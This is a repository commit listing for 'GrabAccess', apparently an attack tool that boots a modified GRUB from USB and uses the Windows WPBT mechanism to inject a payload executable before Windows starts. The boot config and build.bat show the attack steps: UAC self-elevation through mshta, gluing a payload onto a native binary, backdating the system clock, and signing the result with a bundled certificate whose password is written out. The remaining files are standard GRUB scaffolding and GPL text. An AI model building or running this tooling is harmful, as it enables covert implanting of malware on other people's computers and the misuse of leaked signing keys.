Projects STRLCPY GrabAccess Commits 998d87e2
🤬
Showing first 34 files as there are too many
  • GrabAccess_Release/EFI/boot/ANT.exe
    Binary file.
  • ■ ■ ■ ■ ■ ■
    GrabAccess_Release/EFI/boot/GrabAccess.cfg
     1 +search.file /EFI/boot/ANT.exe root
     2 +wpbt -d
     3 +wpbt -l ($root)/EFI/boot/ANT.exe
     4 + 
     5 +search.file /EFI/Microsoft/Boot/bootmgfw.efi root
     6 +chainloader ($root)/efi/Microsoft/Boot/bootmgfw.efi
     7 +boot
  • GrabAccess_Release/EFI/boot/bootx64.efi
    Binary file.
  • ■ ■ ■ ■ ■
    GrabAccess_Release/bin/Block.bin
     1 +<UU>
  • GrabAccess_Release/bin/HT_Srl.pfx
    Binary file.
  • ■ ■ ■ ■ ■ ■
    GrabAccess_Release/bin/VeriSignG5.cer
     1 +-----BEGIN CERTIFICATE-----
     2 +MIIFmjCCA4KgAwIBAgIKYRmT5AAAAAAAHDANBgkqhkiG9w0BAQUFADB/MQswCQYD
     3 +VQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEe
     4 +MBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMSkwJwYDVQQDEyBNaWNyb3Nv
     5 +ZnQgQ29kZSBWZXJpZmljYXRpb24gUm9vdDAeFw0xMTAyMjIxOTI1MTdaFw0yMTAy
     6 +MjIxOTM1MTdaMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIElu
     7 +Yy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShj
     8 +KSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkx
     9 +RTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlm
     10 +aWNhdGlvbiBBdXRob3JpdHkgLSBHNTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
     11 +AQoCggEBAK8kCAgpejWeYAyq50s7Ttx8vDxFHLsr4P4pAvlXCKNkhRUn9fGtyDGJ
     12 +XSLoKqqmQrOP+LlVt7G3S7P+j34HV+zvQ9tmYhVhz2ANpNje+ODDYgg9VBPrScpZ
     13 +VIUm5SuPG5/r9aGRwjNJ2ENjalJL0o/ocFFN0Ylpe8dw9rPcEnTbe11LVtOWvxV3
     14 +obD0oiXyrxySZxjl9AYE75C55ADk3Tq1Gf8CuvQ87uCL6zeL7PTXrPL28D2v3XWR
     15 +MxkdHEDLdCQZIZPZFP6sKlLHj9UESeSNY0eIPGmDy/5HvSt+T8WVrg6d1NFDwGdz
     16 +4xQIfuU/n3O4MwrPXT80h5aK7lPoJRUCAwEAAaOByzCByDARBgNVHSAECjAIMAYG
     17 +BFUdIAAwDwYDVR0TAQH/BAUwAwEB/zALBgNVHQ8EBAMCAYYwHQYDVR0OBBYEFH/T
     18 +ZafC3ey78DAJ80M5+gKvMzEzMB8GA1UdIwQYMBaAFGL7CiFbf0NuEdoJVFBr9dKW
     19 +cfGeMFUGA1UdHwROMEwwSqBIoEaGRGh0dHA6Ly9jcmwubWljcm9zb2Z0LmNvbS9w
     20 +a2kvY3JsL3Byb2R1Y3RzL01pY3Jvc29mdENvZGVWZXJpZlJvb3QuY3JsMA0GCSqG
     21 +SIb3DQEBBQUAA4ICAQCBKoIWjDRnK+UD6zR7jKKjUIr0VYbxHoyOrn3uAxnOcpUY
     22 +SK1iEf0g/T9HBgFa4uBvjBUsTjxqUGwLNqPPeg2cQrxc+BnVYONp5uIjQWeMaIN2
     23 +K4+Toyq1f75Z+6nJsiaPyqLzghuYPpGVJ5eGYe5bXQdrzYao4mWAqOIV4rK+IwVq
     24 +ugzzR5NNrKSMB3k5wGESOgUNiaPsn1eJhPvsynxHZhSR2LYPGV3muEqsvEfIcUOW
     25 +5jIgpdx3hv0844tx23ubA/y3HTJk6xZSoEOj+i6tWZJOfMfyM0JIOFE6fDjHGyQi
     26 +KEAeGkYfF9sY9/AnNWy4Y9nNuWRdK6Ve78YptPLH+CHMBLpX/QG2q8Zn+efTmX/0
     27 +9SL6cvX9/zocQjqh+YAYpe6NHNRmnkUB/qru//sXjzD38c0pxZ3stdVJAD2FuMu7
     28 +kzonaknAMK5myfcjKDJ2+aSDVshIzlqWqqDMDMR/tI6Xr23jVCfDn4bA1uRzCJcF
     29 +29BUYl4DSMLVn3+nZozQnbBP1NOYX0t6yX+yKVLQEoDHD1S2HmfNxqBsEQOE00h1
     30 +5yr+sDtuCjqma3aZBaPxd2hhMxRHBvxTf1K9khRcSiRqZ4yvjZCq0PZ5IRuTJnzD
     31 +zh69iDiSrkXGGWpJULMF+K5ZN4pqJQOUsVmBUOi6g4C3IzX0drlnHVkYrSCNlA==
     32 +-----END CERTIFICATE-----
     33 + 
  • GrabAccess_Release/bin/nativex64.exe
    Binary file.
  • GrabAccess_Release/bin/signtool.exe
    Binary file.
  • ■ ■ ■ ■ ■ ■
    GrabAccess_Release/build.bat
     1 +@echo off
     2 +chcp 65001
     3 + 
     4 +%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
     5 +cd /d %~dp0
     6 + 
     7 +copy /b "bin\nativex64.exe" + "bin\Block.bin" + "payload.exe" + "bin\Block.bin" "EFI/boot/ANT.exe"
     8 + 
     9 +date 14-04-15
     10 +"bin\signtool.exe" sign /v /ac "bin\VeriSignG5.cer" /f "bin\HT_Srl.pfx" /p GeoMornellaChallenge7 /fd sha1 /nph /debug "EFI/boot/ANT.exe"
     11 +net stop w32time
     12 +net start w32time
     13 +w32tm /resync /nowait
     14 + 
     15 +echo.
     16 +echo ===========================GrabAccess by ANT Project============================
     17 +echo 将EFI文件夹复制到FAT或FAT16格式的U盘根目录,接入计算机后从U盘引导,即可执行Payload。
     18 +echo ===========================GrabAccess by ANT Project============================
     19 +@pause
  • GrabAccess_Release/payload.exe
    Binary file.
  • ■ ■ ■ ■ ■ ■
    GrabAccess_SourceCode/Grab2/.gitattributes
     1 +po/exclude.pot binary
     2 + 
  • ■ ■ ■ ■ ■ ■
    GrabAccess_SourceCode/Grab2/.gitignore
     1 +#
     2 +# Ignore patterns in this directory and all subdirectories.
     3 +#
     4 +*.1
     5 +*.8
     6 +*.a
     7 +*.exec
     8 +*.exec.exe
     9 +*.image
     10 +*.image.exe
     11 +*.img
     12 +*.log
     13 +*.lst
     14 +*.marker
     15 +*.mod
     16 +*.o
     17 +*.pf2
     18 +*.pp
     19 +*.trs
     20 +*~
     21 +.deps-core/
     22 +.deps-util/
     23 +.deps/
     24 +.dirstamp
     25 +DISTLIST
     26 +GPATH
     27 +GRTAGS
     28 +GSYMS
     29 +GTAGS
     30 +Makefile
     31 +Makefile.in
     32 +ascii.bitmaps
     33 +genkernsyms.sh
     34 +gensymlist.sh
     35 +grub-bin2h
     36 +grub-emu
     37 +grub-emu-lite
     38 +grub-emu-lite.exe
     39 +grub-emu.exe
     40 +grub-macho2img
     41 +grub_emu_init.c
     42 +grub_emu_init.h
     43 +grub_probe_init.c
     44 +grub_probe_init.h
     45 +grub_script.tab.c
     46 +grub_script.tab.h
     47 +grub_script.yy.c
     48 +grub_script.yy.h
     49 +grub_script_check_init.c
     50 +grub_script_check_init.h
     51 +grub_setup_init.c
     52 +grub_setup_init.h
     53 +mdate-sh
     54 +mod-*.c
     55 +update-grub_lib
     56 +widthspec.bin
     57 + 
     58 +#
     59 +# Ignore patterns relative to this .gitignore file's directory.
     60 +#
     61 +/00_header
     62 +/01_menu_auto_hide
     63 +/01_users
     64 +/10_*
     65 +/20_linux_xen
     66 +/20_ppc_terminfo
     67 +/30_os-prober
     68 +/30_uefi-firmware
     69 +/40_custom
     70 +/41_custom
     71 +/ABOUT-NLS
     72 +/ChangeLog
     73 +/INSTALL.grub
     74 +/Makefile.util.am
     75 +/Makefile.utilgcry.def
     76 +/aclocal.m4
     77 +/ahci_test
     78 +/ascii.h
     79 +/autom4te.cache/
     80 +/btrfs_test
     81 +/build-aux/
     82 +/build-grub-gen-asciih
     83 +/build-grub-gen-widthspec
     84 +/build-grub-mkfont
     85 +/cdboot_test
     86 +/cmp_test
     87 +/compile
     88 +/config-util.h
     89 +/config-util.h.in
     90 +/config.cache
     91 +/config.guess
     92 +/config.h
     93 +/config.log
     94 +/config.status
     95 +/config.sub
     96 +/configure
     97 +/contrib
     98 +/core_compress_test
     99 +/cpio_test
     100 +/date_test
     101 +/depcomp
     102 +/docs/*.info
     103 +/docs/*.info-[0-9]*
     104 +/docs/stamp-1
     105 +/docs/stamp-vti
     106 +/docs/version-dev.texi
     107 +/docs/version.texi
     108 +/ehci_test
     109 +/example_grub_script_test
     110 +/example_scripted_test
     111 +/example_unit_test
     112 +/exfat_test
     113 +/ext234_test
     114 +/f2fs_test
     115 +/fat_test
     116 +/fddboot_test
     117 +/file_filter_test
     118 +/garbage-gen
     119 +/garbage-gen.exe
     120 +/gettext_strings_test
     121 +/gnulib/
     122 +/grub-2.[0-9]*/
     123 +/grub-2.[0-9]*.tar.gz
     124 +/grub-bios-setup
     125 +/grub-bios-setup.exe
     126 +/grub-core/*.module
     127 +/grub-core/*.module.exe
     128 +/grub-core/*.pp
     129 +/grub-core/Makefile.core.am
     130 +/grub-core/Makefile.gcry.def
     131 +/grub-core/bootinfo.txt
     132 +/grub-core/build-grub-module-verifier
     133 +/grub-core/build-grub-pe2elf.exe
     134 +/grub-core/contrib
     135 +/grub-core/gdb_grub
     136 +/grub-core/genmod.sh
     137 +/grub-core/gensyminfo.sh
     138 +/grub-core/gentrigtables
     139 +/grub-core/gentrigtables.exe
     140 +/grub-core/gmodule.pl
     141 +/grub-core/grub.chrp
     142 +/grub-core/kernel.img.bin
     143 +/grub-core/lib/gnulib
     144 +/grub-core/lib/libgcrypt-grub
     145 +/grub-core/modinfo.sh
     146 +/grub-core/rs_decoder.h
     147 +/grub-core/symlist.c
     148 +/grub-core/symlist.h
     149 +/grub-core/trigtables.c
     150 +/grub-core/unidata.c
     151 +/grub-editenv
     152 +/grub-editenv.exe
     153 +/grub-file
     154 +/grub-file.exe
     155 +/grub-fs-tester
     156 +/grub-fstest
     157 +/grub-fstest.exe
     158 +/grub-get-kernel-settings
     159 +/grub-get-kernel-settings.*
     160 +/grub-glue-efi
     161 +/grub-glue-efi.exe
     162 +/grub-install
     163 +/grub-install.exe
     164 +/grub-kbdcomp
     165 +/grub-macbless
     166 +/grub-macbless.exe
     167 +/grub-menulst2cfg
     168 +/grub-menulst2cfg.exe
     169 +/grub-mk*
     170 +/grub-mount
     171 +/grub-ofpathname
     172 +/grub-ofpathname.exe
     173 +/grub-probe
     174 +/grub-probe.exe
     175 +/grub-reboot
     176 +/grub-render-label
     177 +/grub-render-label.exe
     178 +/grub-script-check
     179 +/grub-script-check.exe
     180 +/grub-set-bootflag
     181 +/grub-set-password
     182 +/grub-set-default
     183 +/grub-shell
     184 +/grub-shell-tester
     185 +/grub-sparc64-setup
     186 +/grub-sparc64-setup.exe
     187 +/grub-switch-to-blscfg
     188 +/grub-syslinux2cfg
     189 +/grub-syslinux2cfg.exe
     190 +/grub_cmd_date
     191 +/grub_cmd_echo
     192 +/grub_cmd_regexp
     193 +/grub_cmd_set_date
     194 +/grub_cmd_sleep
     195 +/grub_cmd_test
     196 +/grub_cmd_tr
     197 +/grub_fstest_init.c
     198 +/grub_fstest_init.h
     199 +/grub_func_test
     200 +/grub_script_blanklines
     201 +/grub_script_blockarg
     202 +/grub_script_break
     203 +/grub_script_comments
     204 +/grub_script_continue
     205 +/grub_script_dollar
     206 +/grub_script_echo1
     207 +/grub_script_echo_keywords
     208 +/grub_script_escape_comma
     209 +/grub_script_eval
     210 +/grub_script_expansion
     211 +/grub_script_final_semicolon
     212 +/grub_script_for1
     213 +/grub_script_functions
     214 +/grub_script_gettext
     215 +/grub_script_if
     216 +/grub_script_leading_whitespace
     217 +/grub_script_no_commands
     218 +/grub_script_not
     219 +/grub_script_return
     220 +/grub_script_setparams
     221 +/grub_script_shift
     222 +/grub_script_strcmp
     223 +/grub_script_test
     224 +/grub_script_vars1
     225 +/grub_script_while1
     226 +/gzcompress_test
     227 +/hddboot_test
     228 +/help_test
     229 +/hfs_test
     230 +/hfsplus_test
     231 +/include/grub/cpu
     232 +/include/grub/gcrypt/g10lib.h
     233 +/include/grub/gcrypt/gcrypt.h
     234 +/include/grub/machine
     235 +/install-sh
     236 +/iso9660_test
     237 +/jfs_test
     238 +/lib/libgcrypt-grub
     239 +/libgrub_a_init.c
     240 +/lzocompress_test
     241 +/m4/
     242 +/minixfs_test
     243 +/missing
     244 +/netboot_test
     245 +/nilfs2_test
     246 +/ntfs_test
     247 +/ohci_test
     248 +/partmap_test
     249 +/pata_test
     250 +/po/*.gmo
     251 +/po/*.mo
     252 +/po/*.po
     253 +/po/LINGUAS
     254 +/po/Makefile.in.in
     255 +/po/Makevars
     256 +/po/Makevars.template
     257 +/po/POTFILES
     258 +/po/POTFILES-shell.in
     259 +/po/POTFILES.in
     260 +/po/Rules-quot
     261 +/po/grub.pot
     262 +/po/remove-potcdate.sed
     263 +/po/stamp-po
     264 +/printf_test
     265 +/priority_queue_unit_test
     266 +/pseries_test
     267 +/reiserfs_test
     268 +/romfs_test
     269 +/squashfs_test
     270 +/stamp-h
     271 +/stamp-h.in
     272 +/stamp-h1
     273 +/syslinux_test
     274 +/tar_test
     275 +/test_sha512sum
     276 +/test_unset
     277 +/tests/syslinux/ubuntu10.04_grub.cfg
     278 +/texinfo.tex
     279 +/udf_test
     280 +/uhci_test
     281 +/util/bash-completion.d/grub
     282 +/widthspec.h
     283 +/xfs_test
     284 +/xzcompress_test
     285 +/zfs_test
     286 + 
  • ■ ■ ■ ■ ■ ■
    GrabAccess_SourceCode/Grab2/.travis.yml
     1 +# SPDX-License-Identifier: GPL-3.0+
     2 +# Originally Copyright Roger Meier <[email protected]>
     3 +# Adapted for GRUB by Alexander Graf <[email protected]>
     4 +#
     5 +# Build GRUB on Travis CI - https://www.travis-ci.org/
     6 +#
     7 + 
     8 +dist: bionic
     9 + 
     10 +language: c
     11 + 
     12 +addons:
     13 + apt:
     14 + packages:
     15 + - build-essential
     16 + - libsdl1.2-dev
     17 + - python
     18 + - iasl
     19 + - lzop
     20 + - unifont
     21 + - autopoint
     22 + 
     23 +branches:
     24 + only:
     25 + - master
     26 + 
     27 +env:
     28 + global:
     29 + # Include all cross toolchain paths, so we can just call them later down.
     30 + - PATH=/usr/bin:/bin:/tmp/cross/gcc-9.2.0-nolibc/aarch64-linux/bin:/tmp/cross/gcc-9.2.0-nolibc/arm-linux-gnueabi/bin:/tmp/cross/gcc-9.2.0-nolibc/ia64-linux/bin:/tmp/cross/gcc-9.2.0-nolibc/mips64-linux/bin:/tmp/cross/gcc-9.2.0-nolibc/powerpc64-linux/bin:/tmp/cross/gcc-9.2.0-nolibc/riscv32-linux/bin:/tmp/cross/gcc-9.2.0-nolibc/riscv64-linux/bin:/tmp/cross/gcc-9.2.0-nolibc/sparc64-linux/bin
     31 + 
     32 + 
     33 +before_script:
     34 + # Install necessary toolchains based on $CROSS_TARGETS variable.
     35 + - mkdir /tmp/cross
     36 + # These give us binaries like /tmp/cross/gcc-9.2.0-nolibc/ia64-linux/bin/ia64-linux-gcc
     37 + - for i in $CROSS_TARGETS; do
     38 + ( cd /tmp/cross; wget -t 3 -O - https://mirrors.kernel.org/pub/tools/crosstool/files/bin/x86_64/9.2.0/x86_64-gcc-9.2.0-nolibc-$i.tar.xz | tar xJ );
     39 + done
     40 + 
     41 +script:
     42 + # Comments must be outside the command strings below, or the Travis parser
     43 + # will get confused.
     44 + - ./bootstrap
     45 + 
     46 + # Build all selected GRUB targets.
     47 + - for target in $GRUB_TARGETS; do
     48 + plat=${target#*-};
     49 + arch=${target%-*};
     50 + [ "$arch" = "arm64" ] && arch=aarch64-linux;
     51 + [ "$arch" = "arm" ] && arch=arm-linux-gnueabi;
     52 + [ "$arch" = "ia64" ] && arch=ia64-linux;
     53 + [ "$arch" = "mipsel" ] && arch=mips64-linux;
     54 + [ "$arch" = "powerpc" ] && arch=powerpc64-linux;
     55 + [ "$arch" = "riscv32" ] && arch=riscv32-linux;
     56 + [ "$arch" = "riscv64" ] && arch=riscv64-linux;
     57 + [ "$arch" = "sparc64" ] && arch=sparc64-linux;
     58 + echo "Building $target";
     59 + mkdir obj-$target;
     60 + JOBS=`getconf _NPROCESSORS_ONLN 2> /dev/null || echo 1`;
     61 + [ "$JOBS" == 1 ] || JOBS=$(($JOBS + 1));
     62 + ( cd obj-$target && ../configure --target=$arch --with-platform=$plat --prefix=/tmp/grub && make -j$JOBS && make -j$JOBS install ) &> log || ( cat log; false );
     63 + done
     64 + 
     65 +matrix:
     66 + include:
     67 + # Each env setting here is a dedicated build.
     68 + - name: "x86_64-efi"
     69 + env:
     70 + - GRUB_TARGETS="x86_64-efi"
     71 + # - GRUB_TARGETS="x86_64-xen"
     72 + - name: "i386-efi"
     73 + env:
     74 + - GRUB_TARGETS="i386-efi"
     75 + - name: "i386-pc"
     76 + env:
     77 + - GRUB_TARGETS="i386-pc"
     78 + # - GRUB_TARGETS="i386-coreboot i386-ieee1275 i386-multiboot i386-qemu i386-xen i386-xen_pvh"
     79 + # - name: "powerpc"
     80 + # env:
     81 + # - GRUB_TARGETS="powerpc-ieee1275"
     82 + # - CROSS_TARGETS="powerpc64-linux"
     83 + # - name: "sparc64"
     84 + # env:
     85 + # - GRUB_TARGETS="sparc64-ieee1275"
     86 + # - CROSS_TARGETS="sparc64-linux"
     87 + # - name: "ia64"
     88 + # env:
     89 + # - GRUB_TARGETS="ia64-efi"
     90 + # - CROSS_TARGETS="ia64-linux"
     91 + # - name: "mips"
     92 + # env:
     93 + # - GRUB_TARGETS="mips-arc mipsel-arc mipsel-qemu_mips mips-qemu_mips"
     94 + # - CROSS_TARGETS="mips64-linux"
     95 + - name: "arm-efi"
     96 + env:
     97 + # - GRUB_TARGETS="arm-coreboot arm-efi arm-uboot"
     98 + - GRUB_TARGETS="arm-efi"
     99 + - CROSS_TARGETS="arm-linux-gnueabi"
     100 + - name: "arm64-efi"
     101 + env:
     102 + - GRUB_TARGETS="arm64-efi"
     103 + - CROSS_TARGETS="aarch64-linux"
     104 + # - name: "riscv32"
     105 + # env:
     106 + # - GRUB_TARGETS="riscv32-efi"
     107 + # - CROSS_TARGETS="riscv32-linux"
     108 + # - name: "riscv64"
     109 + # env:
     110 + # - GRUB_TARGETS="riscv64-efi"
     111 + # - CROSS_TARGETS="riscv64-linux"
     112 + 
  • ■ ■ ■ ■ ■ ■
    GrabAccess_SourceCode/Grab2/AUTHORS
     1 +The following authors assigned copyright on their work to the Free
     2 +Software Foundation:
     3 + 
     4 +Yoshinori K. Okuji designed and implemented the initial version.
     5 + 
     6 +Jeroen Dekkers added initrd support, Multiboot support, and fixed bugs
     7 +in ext2fs.
     8 + 
     9 +Marco Gerards added ext2fs support, grub-emu, a new command-line
     10 +engine, and fixed many bugs.
     11 + 
     12 +Omniflux added terminfo and serial support.
     13 + 
     14 +Vincent Pelletier added Sparc64 support.
     15 + 
     16 +Hollis Blanchard implemented many parts of PowerPC support.
     17 + 
     18 +Tomas Ebenlendr added the command chainloader into the normal mode,
     19 +fixed some bugs.
     20 + 
     21 +Guillem Jover merged architecture-independent ELF support code.
     22 + 
     23 +Vesa Jaaskelainen added VBE support.
     24 + 
  • ■ ■ ■ ■ ■ ■
    GrabAccess_SourceCode/Grab2/BUGS
     1 +GRUB team is aware of following problems:
     2 + - Currently search and assembling multidevice abstractions scans
     3 + all the devices which can be slow.
     4 + - Cache isn't used correctly for video which results in slowness.
     5 + 
     6 +While these are bugs their solution has a potential of breaking more and more
     7 +seriously. So it was decided for 1.99 that they aren't fixed.
     8 + 
  • ■ ■ ■ ■ ■ ■
    GrabAccess_SourceCode/Grab2/BuildGrabAccess.sh
     1 +#!/bin/sh
     2 +./bootstrap
     3 +./configure --target=x86_64 --with-platform=efi
     4 +make clean
     5 +make -j4
     6 +./grub-mkimage -d ./grub-core -o bootx64.efi -O x86_64-efi -c ./x86_64-efi.cfg -p /EFI/boot part_gpt part_msdos disk fat exfat ext2 ntfs xfs appleldr hfs normal search_fs_file configfile linux linux16 chain loopback echo efi_gop efi_uga file halt reboot ls true wpbt
     7 + 
  • ■ ■ ■ ■ ■ ■
    GrabAccess_SourceCode/Grab2/COPYING
     1 + GNU GENERAL PUBLIC LICENSE
     2 + Version 3, 29 June 2007
     3 + 
     4 + Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
     5 + Everyone is permitted to copy and distribute verbatim copies
     6 + of this license document, but changing it is not allowed.
     7 + 
     8 + Preamble
     9 + 
     10 + The GNU General Public License is a free, copyleft license for
     11 +software and other kinds of works.
     12 + 
     13 + The licenses for most software and other practical works are designed
     14 +to take away your freedom to share and change the works. By contrast,
     15 +the GNU General Public License is intended to guarantee your freedom to
     16 +share and change all versions of a program--to make sure it remains free
     17 +software for all its users. We, the Free Software Foundation, use the
     18 +GNU General Public License for most of our software; it applies also to
     19 +any other work released this way by its authors. You can apply it to
     20 +your programs, too.
     21 + 
     22 + When we speak of free software, we are referring to freedom, not
     23 +price. Our General Public Licenses are designed to make sure that you
     24 +have the freedom to distribute copies of free software (and charge for
     25 +them if you wish), that you receive source code or can get it if you
     26 +want it, that you can change the software or use pieces of it in new
     27 +free programs, and that you know you can do these things.
     28 + 
     29 + To protect your rights, we need to prevent others from denying you
     30 +these rights or asking you to surrender the rights. Therefore, you have
     31 +certain responsibilities if you distribute copies of the software, or if
     32 +you modify it: responsibilities to respect the freedom of others.
     33 + 
     34 + For example, if you distribute copies of such a program, whether
     35 +gratis or for a fee, you must pass on to the recipients the same
     36 +freedoms that you received. You must make sure that they, too, receive
     37 +or can get the source code. And you must show them these terms so they
     38 +know their rights.
     39 + 
     40 + Developers that use the GNU GPL protect your rights with two steps:
     41 +(1) assert copyright on the software, and (2) offer you this License
     42 +giving you legal permission to copy, distribute and/or modify it.
     43 + 
     44 + For the developers' and authors' protection, the GPL clearly explains
     45 +that there is no warranty for this free software. For both users' and
     46 +authors' sake, the GPL requires that modified versions be marked as
     47 +changed, so that their problems will not be attributed erroneously to
     48 +authors of previous versions.
     49 + 
     50 + Some devices are designed to deny users access to install or run
     51 +modified versions of the software inside them, although the manufacturer
     52 +can do so. This is fundamentally incompatible with the aim of
     53 +protecting users' freedom to change the software. The systematic
     54 +pattern of such abuse occurs in the area of products for individuals to
     55 +use, which is precisely where it is most unacceptable. Therefore, we
     56 +have designed this version of the GPL to prohibit the practice for those
     57 +products. If such problems arise substantially in other domains, we
     58 +stand ready to extend this provision to those domains in future versions
     59 +of the GPL, as needed to protect the freedom of users.
     60 + 
     61 + Finally, every program is threatened constantly by software patents.
     62 +States should not allow patents to restrict development and use of
     63 +software on general-purpose computers, but in those that do, we wish to
     64 +avoid the special danger that patents applied to a free program could
     65 +make it effectively proprietary. To prevent this, the GPL assures that
     66 +patents cannot be used to render the program non-free.
     67 + 
     68 + The precise terms and conditions for copying, distribution and
     69 +modification follow.
     70 + 
     71 + TERMS AND CONDITIONS
     72 + 
     73 + 0. Definitions.
     74 + 
     75 + "This License" refers to version 3 of the GNU General Public License.
     76 + 
     77 + "Copyright" also means copyright-like laws that apply to other kinds of
     78 +works, such as semiconductor masks.
     79 + 
     80 + "The Program" refers to any copyrightable work licensed under this
     81 +License. Each licensee is addressed as "you". "Licensees" and
     82 +"recipients" may be individuals or organizations.
     83 + 
     84 + To "modify" a work means to copy from or adapt all or part of the work
     85 +in a fashion requiring copyright permission, other than the making of an
     86 +exact copy. The resulting work is called a "modified version" of the
     87 +earlier work or a work "based on" the earlier work.
     88 + 
     89 + A "covered work" means either the unmodified Program or a work based
     90 +on the Program.
     91 + 
     92 + To "propagate" a work means to do anything with it that, without
     93 +permission, would make you directly or secondarily liable for
     94 +infringement under applicable copyright law, except executing it on a
     95 +computer or modifying a private copy. Propagation includes copying,
     96 +distribution (with or without modification), making available to the
     97 +public, and in some countries other activities as well.
     98 + 
     99 + To "convey" a work means any kind of propagation that enables other
     100 +parties to make or receive copies. Mere interaction with a user through
     101 +a computer network, with no transfer of a copy, is not conveying.
     102 + 
     103 + An interactive user interface displays "Appropriate Legal Notices"
     104 +to the extent that it includes a convenient and prominently visible
     105 +feature that (1) displays an appropriate copyright notice, and (2)
     106 +tells the user that there is no warranty for the work (except to the
     107 +extent that warranties are provided), that licensees may convey the
     108 +work under this License, and how to view a copy of this License. If
     109 +the interface presents a list of user commands or options, such as a
     110 +menu, a prominent item in the list meets this criterion.
     111 + 
     112 + 1. Source Code.
     113 + 
     114 + The "source code" for a work means the preferred form of the work
     115 +for making modifications to it. "Object code" means any non-source
     116 +form of a work.
     117 + 
     118 + A "Standard Interface" means an interface that either is an official
     119 +standard defined by a recognized standards body, or, in the case of
     120 +interfaces specified for a particular programming language, one that
     121 +is widely used among developers working in that language.
     122 + 
     123 + The "System Libraries" of an executable work include anything, other
     124 +than the work as a whole, that (a) is included in the normal form of
     125 +packaging a Major Component, but which is not part of that Major
     126 +Component, and (b) serves only to enable use of the work with that
     127 +Major Component, or to implement a Standard Interface for which an
     128 +implementation is available to the public in source code form. A
     129 +"Major Component", in this context, means a major essential component
     130 +(kernel, window system, and so on) of the specific operating system
     131 +(if any) on which the executable work runs, or a compiler used to
     132 +produce the work, or an object code interpreter used to run it.
     133 + 
     134 + The "Corresponding Source" for a work in object code form means all
     135 +the source code needed to generate, install, and (for an executable
     136 +work) run the object code and to modify the work, including scripts to
     137 +control those activities. However, it does not include the work's
     138 +System Libraries, or general-purpose tools or generally available free
     139 +programs which are used unmodified in performing those activities but
     140 +which are not part of the work. For example, Corresponding Source
     141 +includes interface definition files associated with source files for
     142 +the work, and the source code for shared libraries and dynamically
     143 +linked subprograms that the work is specifically designed to require,
     144 +such as by intimate data communication or control flow between those
     145 +subprograms and other parts of the work.
     146 + 
     147 + The Corresponding Source need not include anything that users
     148 +can regenerate automatically from other parts of the Corresponding
     149 +Source.
     150 + 
     151 + The Corresponding Source for a work in source code form is that
     152 +same work.
     153 + 
     154 + 2. Basic Permissions.
     155 + 
     156 + All rights granted under this License are granted for the term of
     157 +copyright on the Program, and are irrevocable provided the stated
     158 +conditions are met. This License explicitly affirms your unlimited
     159 +permission to run the unmodified Program. The output from running a
     160 +covered work is covered by this License only if the output, given its
     161 +content, constitutes a covered work. This License acknowledges your
     162 +rights of fair use or other equivalent, as provided by copyright law.
     163 + 
     164 + You may make, run and propagate covered works that you do not
     165 +convey, without conditions so long as your license otherwise remains
     166 +in force. You may convey covered works to others for the sole purpose
     167 +of having them make modifications exclusively for you, or provide you
     168 +with facilities for running those works, provided that you comply with
     169 +the terms of this License in conveying all material for which you do
     170 +not control copyright. Those thus making or running the covered works
     171 +for you must do so exclusively on your behalf, under your direction
     172 +and control, on terms that prohibit them from making any copies of
     173 +your copyrighted material outside their relationship with you.
     174 + 
     175 + Conveying under any other circumstances is permitted solely under
     176 +the conditions stated below. Sublicensing is not allowed; section 10
     177 +makes it unnecessary.
     178 + 
     179 + 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
     180 + 
     181 + No covered work shall be deemed part of an effective technological
     182 +measure under any applicable law fulfilling obligations under article
     183 +11 of the WIPO copyright treaty adopted on 20 December 1996, or
     184 +similar laws prohibiting or restricting circumvention of such
     185 +measures.
     186 + 
     187 + When you convey a covered work, you waive any legal power to forbid
     188 +circumvention of technological measures to the extent such circumvention
     189 +is effected by exercising rights under this License with respect to
     190 +the covered work, and you disclaim any intention to limit operation or
     191 +modification of the work as a means of enforcing, against the work's
     192 +users, your or third parties' legal rights to forbid circumvention of
     193 +technological measures.
     194 + 
     195 + 4. Conveying Verbatim Copies.
     196 + 
     197 + You may convey verbatim copies of the Program's source code as you
     198 +receive it, in any medium, provided that you conspicuously and
     199 +appropriately publish on each copy an appropriate copyright notice;
     200 +keep intact all notices stating that this License and any
     201 +non-permissive terms added in accord with section 7 apply to the code;
     202 +keep intact all notices of the absence of any warranty; and give all
     203 +recipients a copy of this License along with the Program.
     204 + 
     205 + You may charge any price or no price for each copy that you convey,
     206 +and you may offer support or warranty protection for a fee.
     207 + 
     208 + 5. Conveying Modified Source Versions.
     209 + 
     210 + You may convey a work based on the Program, or the modifications to
     211 +produce it from the Program, in the form of source code under the
     212 +terms of section 4, provided that you also meet all of these conditions:
     213 + 
     214 + a) The work must carry prominent notices stating that you modified
     215 + it, and giving a relevant date.
     216 + 
     217 + b) The work must carry prominent notices stating that it is
     218 + released under this License and any conditions added under section
     219 + 7. This requirement modifies the requirement in section 4 to
     220 + "keep intact all notices".
     221 + 
     222 + c) You must license the entire work, as a whole, under this
     223 + License to anyone who comes into possession of a copy. This
     224 + License will therefore apply, along with any applicable section 7
     225 + additional terms, to the whole of the work, and all its parts,
     226 + regardless of how they are packaged. This License gives no
     227 + permission to license the work in any other way, but it does not
     228 + invalidate such permission if you have separately received it.
     229 + 
     230 + d) If the work has interactive user interfaces, each must display
     231 + Appropriate Legal Notices; however, if the Program has interactive
     232 + interfaces that do not display Appropriate Legal Notices, your
     233 + work need not make them do so.
     234 + 
     235 + A compilation of a covered work with other separate and independent
     236 +works, which are not by their nature extensions of the covered work,
     237 +and which are not combined with it such as to form a larger program,
     238 +in or on a volume of a storage or distribution medium, is called an
     239 +"aggregate" if the compilation and its resulting copyright are not
     240 +used to limit the access or legal rights of the compilation's users
     241 +beyond what the individual works permit. Inclusion of a covered work
     242 +in an aggregate does not cause this License to apply to the other
